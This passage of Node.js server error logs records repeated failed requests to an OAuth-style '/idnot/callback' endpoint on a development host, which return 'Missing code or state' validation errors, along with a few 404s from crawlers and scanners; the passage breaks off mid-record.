/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633126238_aksgpypcs', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:12:14.333Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633134332_cijg33peb' } ❌ [ERROR] 2025-09-23T13:12:14.333Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633134332_cijg33peb', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:12:21.507Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633141506_v1s3uq94s' } ❌ [ERROR] 2025-09-23T13:12:21.508Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633141506_v1s3uq94s', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:12:52.149Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633172148_umazjkvma' } ❌ [ERROR] 2025-09-23T13:12:52.150Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4WQPaePaNG41gHxijAqO7T7Qe4HhKOkM3V9is8B2VWd0OLI1S03eGTep4jbWdeOKaQblcXIRmpOnznS_BExyGFYQeGfiInZ5hN6zmJKAzt9yT3j1tSxhM8GPRH16Okp0i_vanwDE-AVdz5yJ1Idxh8-TYOb4pgBakYMG14Epn0Z7FsFXxPBhtO_Sht39Nb-t0Fxx8T_JPyfwEoxRlual-7nbIfV4IwJRBtdV6fWetwkeoaZbwM3f4ZZtVb_ajthrdNUae4QH3GKrj43eS0rj8qXpNM7oXkiDTdlNOgKL30hmwZLjMjSbteTLjaMLCCXyNaPIlOcPVInnShjORlsndweUj4RELTiaVj7nPvZ3HnXCBKlAOq8PNvRF_xxq-dHRGOYBe04-5diTFKo0Kzoje0TERDexTN8451jwDKLfndWx_nbPJqs8sby5Fg - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7TA-abFKh_8BKbGKfZj_faKB11Kai4jBAblI8iQqKHJlWcKXjOQLzJyluMRx8vY53nCAW5UGC705JLKSIzFizmI3s4bhYPMgQOVRtwmVqMT8pakjn_4W'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633172148_umazjkvma', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:13:52.146Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTR'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758633232145_rt27fhpi7' } ❌ [ERROR] 2025-09-23T13:13:52.147Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758633232145_rt27fhpi7', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T13:15:10.940Z HTTP GET /pdown - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:34.151.255.135', method: 'GET', url: '/pdown', userAgent: undefined }, requestId: 'req_1758633310939_z3v27btvl', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T13:17:01.279Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758633421278_en8qy9o8l', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:17:02.746Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633422746_haujth40i' } ❌ [ERROR] 2025-09-23T13:17:02.747Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633422746_haujth40i', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:23:07.913Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633787912_rmjv4s682' } ❌ [ERROR] 2025-09-23T13:23:07.913Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633787912_rmjv4s682', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:35:23.561Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758634523560_2jnhb0ryo' } ❌ [ERROR] 2025-09-23T13:35:23.562Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758634523560_2jnhb0ryo', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T13:41:35.833Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:143.244.152.105', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' }, requestId: 'req_1758634895832_fhg57by04', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:41:38.053Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758634898052_kd2l0jzz5' } ❌ [ERROR] 2025-09-23T13:41:38.053Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758634898052_kd2l0jzz5', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY', method: 